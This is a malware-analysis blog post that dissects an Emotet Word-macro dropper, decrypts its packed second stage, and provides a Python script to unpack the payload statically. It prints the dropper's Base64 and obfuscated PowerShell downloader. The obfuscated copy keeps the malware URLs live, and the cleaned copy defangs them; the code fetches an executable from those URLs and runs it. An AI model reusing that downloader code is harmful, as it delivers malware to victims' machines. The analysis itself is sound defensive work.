# Analyzing an Emotet Dropper and Writing a Python Script to Statically Unpack Payload. **mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-** payload/ November 22, 2020 In this blog post, we will analyze an Emotet dropper. The sample used in this post is [available on any.run here. Details of the sample are](https://app.any.run/tasks/3363fde4-111b-4aaa-b73d-e4144433c284/#) ``` MD5: b92021ca10aed3046fc3be5ac1c2a094 ``` ``` Filename: emotet.doc ``` When you open the file in MS Word, you will be greeted with social engineering message asking you to enable the Macros. Let’s extract the Macros. There are multiple tools that can accomplish this, but my favorite one is `olevba . The` [extracted Macro is uploaded here on gist. Macro code is heavily](https://gist.github.com/irshadqemu/92354f94b55780c2db56fa6696ec07db) obfuscated. However, there are some lines that stand out. (Line numbers are the same as the code on gist.) ``` GS0LWK = zqzYlm3 + ThisDocument.McQHX3.Caption + ThisDocument.PWo3kW.Caption + ThisDocument.psYO9m.Caption + UR1S3b RcTkkOqw = CreateObject(Replace("w i nm gmts:Win 32 _Pr ocess", " ", "")).Create(GS0LWK + IEHlwRq, W8KjQY, u0rrBWd, l78zbRfV) ``` ----- At line 62 it prepares a string `GS0LWK, and then use it as a parameter to` ``` winmgmts:Win32_Process.Create on line 88, which is used to create a new process. GS0LWK will be the command-line of the new process. Now we can set up a breakpoint on ``` line 88 and debug the Macro to see what process is being created The figure above shows it will create a Powershell Process with Base64 encoded code. We can copy the command line from variable `GS0WLK, or using any process manager such as` `procexp` or Process Hacker. It is also available on any.run link shared at the start of the blog. So Macro will create the following PowerShell process. ``` powershell -enco JABqAHIARgBoAEEAMAA9ACcAVwBmADEAcgBIAHoAJwA7ACQAdQBVAE0ATQBMAEkAIAA9ACAAJwAyADgANAAnAD ``` After Base64 decoding the code looks like this ``` $jrFhA0='Wf1rHz';$uUMMLI = '284';$iBtj49N='ThMqW8s0';$FwcAJs6=$env:userprofile+'\'+$uUMMLI+'.exe';$S9GzRstM='EFCw ('n'+'ew'+'-object') NeT.wEBClIEnt;$pLjBqINE='http://blockchainjoblist.com/wpadmin/014080/@https://womenempowermentpakistan.com/wpadmin/paba5q52/@https://atnimanvilla.com/wpcontent/073735/@https://yeuquynhnhai.com/upload/41830/@https://deepikarai.com/js/4bzs6 ('@');$l4sJloGw='zISjEmiP';foreach($V3hEPMMZ in $pLjBqINE) {try{$u8UAr3."DOw`N`lOaDfi`Le"($V3hEPMMZ, $FwcAJs6);$IvHHwRib='s5Ts_iP8';If ((& ('G'+'e'+'t-Item') $FwcAJs6)."LeN`gTh" -ge 23931) {[Diagnostics.Process]::"ST`ArT" ($FwcAJs6);$zDNs8wi='F3Wwo0';break;$TTJptXB='ijlWhCzP'}}catch{}}$vZzi_uAp='aEBtpj4' ``` The de-obfuscated PowerShell code would look this. (I have defanged the URLs) $jrFhA0='Wf1rHz' $uUMMLI = '284' $iBtj49N='ThMqW8s0' $FwcAJs6=$env:userprofile+'\'+$uUMMLI+'.exe' $S9GzRstM='EFCwnlGz' $u8UAr3=&('new-object') NeT.wEBClIEnt $pLjBqINE='http[:]//blockchainjoblist[.]com/wp-admin/014080/ ----- @ https[:]//womenempowermentpakistan[.]com/wp-admin/paba5q52/ @ https[:]//atnimanvilla[.]com/wp-content/073735/ @ https[:]//yeuquynhnhai[.]com/upload/41830/ @ https[:]//deepikarai[.]com/js/4bzs6/'."sPLiT"('@') $l4sJloGw='zISjEmiP' foreach($V3hEPMMZ in $pLjBqINE) { try { $u8UAr3."DOwNlOaDfiLe"($V3hEPMMZ, $FwcAJs6) $IvHHwRib='s5Ts_iP8' If ((&('Get-Item') $FwcAJs6)."LeNgTh" -ge 23931) { [Diagnostics.Process]::"STArT"($FwcAJs6) $zDNs8wi='F3Wwo0' break $TTJptXB='ijlWhCzP' } } catch {} } $vZzi_uAp='aEBtpj4' [view raw](https://gist.github.com/irshadqemu/a7460005b00b05a184e9d30b8c839c69/raw/b89b9fb272e03f4c9d06bf18bfb67a5f032f2918/de-obfuscated-ps.ps1) [de-obfuscated-ps.ps1 hosted with ❤ by](https://gist.github.com/irshadqemu/a7460005b00b05a184e9d30b8c839c69#file-de-obfuscated-ps-ps1) [GitHub](https://github.com/) This shellcode will download an executable from one of the URLs in the array “ $pLjBqINE “, save it to the path “ %UserProfile%\284.exe", check if its size is greater than or equal to 23931 bytes, and execute it. ----- ## Analysis of Second Stage Exe (284.exe) [284.exe can be downloaded from any.run. Let’s see if it is packed with any known packer.](https://app.any.run/tasks/3363fde4-111b-4aaa-b73d-e4144433c284/#) Exeinfo PE is unable to find any known packer. However, `Detect it easy finds that it is an MFC application` with high entropy and status `packed . Most likely, it is packed with a custom MFC Packer.` When I open the file in IDA-PRO and look at the `imports, shown below, it is filled with junk` imports. So, yup Exe is packed. ----- Usually, to further analyze these types of files, either I run them in a sandbox, or run them with a tracer tool, such as tiny_tracer, and look for interesting API calls. When I run the 284.exe with tiny_tracer, at the end of the API log file, I see an interesting API call sequence. It seems like, it is loading some resource, decrypting it, allocating new space to copy the decrypted code, and then executing it. Set a breakpoint on FindResourceA in a debugger, execute it till return, and it will land you in this unpacking function. You can use `ida_fl plugin` ----- to load .tag file in IDA Pro. **Unpacking function analysis** It will load the `KITTKOF resource in memory` The resource hacker shows `KITKOFF resource. It seems to be encrypted.` Then packer will decode the shellcode from Base64+ RC4 encrypted string that will in turn decrypt the resource. ----- The RC4 algorithm, shown as `CustomRC4, it uses to decrypt the is slightly modified from` the standard version. It uses `N=0x1E1, instead of the standard` `N=0x100 . It is shown` below. ----- Then the malware calls the shellcode twice and passes `Resrouce Size,` `Pointer to` ``` loaded resource data, an integer, and string as parameters. Nothing happens in ``` the first call. However, the second call decrypts the resource. **Analysis Of Shellcode** Like any other shellcode, at first, it resolves the `LoadLibraryA and` `GetProcAddress` using API hashes as shown below. Then it prepares the following WINAPI strings on the stack, and dynamically resolves them – `CryptAcquireContextA` – `CryptImportKey` ----- – `CryptEncrypt` an example is shown below [The shellcode then prepares two PUBLICKEYSTRUC key blobs on the stack,](https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/ns-wincrypt-publickeystruc) One for `RSA` with `ALG_ID of` `CALG_RSA_KEYX(0x0000a400)` Other for `RC4 with` `ALG_ID of` `CALG_RC4` `(0x00006801)` The shellcode imports both of these key blobs using `CryptImportKey . However, it only` updates the key in RC4 one, and use that to decrypt resource data. The corresponding API call is shown below. We can analyze the `pbData parameter, which is of type` ``` PUBLICKEYSTRUC to find the key used. ``` ----- ``` pdData data is shown below with key highlighted. If notice, this key was passed as the first ``` parameter while calling the shellcode. Finally, the shellcode calls CrypteEncrypt and decrypts the Resource data. The decrypted data is shown below. That is another layer of shellcode. (why? hint: `call $+5 )` If you scroll down a little, you will find a PE file is also present in decrypted data. ----- [I have analyzed the next layer of shellcode, it just reflectively loads the embedded PE file. So](https://www.andreafortuna.org/2017/12/08/what-is-reflective-dll-injection-and-how-can-be-detected/) we can dump decrypted resource data and carve out PE files using Exeinfo-PE or some other tools. Exeinfo PE extracted two files 1. `DLL (bf3af6a558366d3927bfe5a9b471d56a1387b4927a418c428fc3452721b5c757)` 2. `Exe (f96d6bbf4b0da81c688423f2e1fc3df4b4ef970f91cfd6230a5c5f45bb7e41bd)` Both of these files are already detected by existing open source Emotet Yara sigs. So we have reached the final payload of Emotet. Let’s see if we can write a script to statically unpack and extract the payload. ## Writing a Python Script to Unpack Malware Statically We can write a python script to unpack `284.exe statically by` Extract binary data from resource with name `KITTOFF` RC4 decrypt it using key `"?UPLkTcdjlHrhAW\x00"` Carve out PE files from the decrypted binary data stream. ----- The code is pretty self-explanatory. If you have any questions please let me know in comments. #!/usr/bin/env python3 # Name: # unpack_emotet.py # Description: # This script accompanies my blog at # https://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writinga-python-script-to-statically-unpack-payload/ # and can be used to statically unpack given sample in the blog # Author: # [https://twitter.com/mirshadx](https://twitter.com/mirshadx) # [https://www.linkedin.com/in/irshad-muhammad-3020b0a5/](https://www.linkedin.com/in/irshad-muhammad-3020b0a5/) # # PE carving code is adopted from https://github.com/MalwareLu/tools/blob/master/pecarv.py # import pefile from Crypto.Cipher import ARC4 import re # if you like, you can use commandline args for these arguments EXE_PATH = "C:\\Users\\user\\Downloads\\tmp\\284.bin" RC4_KEY = b"?UPLkTcdjlHrhAW\x00" RESOURCE_NAME = "KITTKOF" def get_resource_data(path_to_exe, resource_name): """Given a resource name extracts binary data for it""" ----- pe = pefile.PE(path_to_exe) for rsrc in pe.DIRECTORY_ENTRY_RESOURCE.entries: if str(rsrc.name) == resource_name: print("Found the resource with name KITTOFF") # Get IMAGE_RESOURCE_DATA_ENTRY for resource and extract data data_struc = rsrc.directory.entries[0].directory.entries[0].data.struct data_size = data_struc.Size data_offset = data_struc.OffsetToData print(f"Rosource Size: {hex(data_size)}, Resource Offset:{hex(data_offset)}") rsrc_data = pe.get_memory_mapped_image()[data_offset: data_offset + data_size] return rsrc_data raise ValueError(f"Unable to find resource with name: {resource_name}") def rc4_decrypt_data(enc_data, key): """RC4 decrypts the encrypted data""" cipher = ARC4.new(RC4_KEY) dec_data = cipher.decrypt(enc_data) return dec_data def get_extension(pe): """returns ext of the file type using pefile""" if pe.is_dll(): return ".dll_" if pe.is_driver(): return ".sys_" if pe.is_exe(): ----- return ".exe_" else: return ".bin_" def write_pe_file_disk(pe, c): """Writes a PE file to disk""" trimmed_pe = pe.trim() pe_name = str(c)+get_extension(pe) out = open(pe_name, "wb") out.write(trimmed_pe) out.close() print(f"PE file: {pe_name} written to disk") def carve_pe_file(data_stream): """carve out pe file from binary data stream""" c = 1 for y in [tmp.start() for tmp in re.finditer(b"\x4d\x5a", data_stream)]: location = y try: pe = pefile.PE(data=data_stream[y:]) except: print(f"MZ header found at {hex(y)} but failed to parse it as PE") continue print(f"Found PE at offset: {hex(y)}") write_pe_file_disk(pe, c) ----- if __name__ == '__main__': rsrc_data = get_resource_data(EXE_PATH, RESOURCE_NAME) dec_data = rc4_decrypt_data(rsrc_data, RC4_KEY) carve_pe_file(dec_data) [view raw](https://gist.github.com/irshadqemu/ac67f55d7d4dc96d374ca0f800410f64/raw/b47e278d97a639e7a3d85f84845d338f10827909/unpack_emotet.py) [unpack_emotet.py hosted with ❤ by](https://gist.github.com/irshadqemu/ac67f55d7d4dc96d374ca0f800410f64#file-unpack_emotet-py) [GitHub](https://github.com/) -----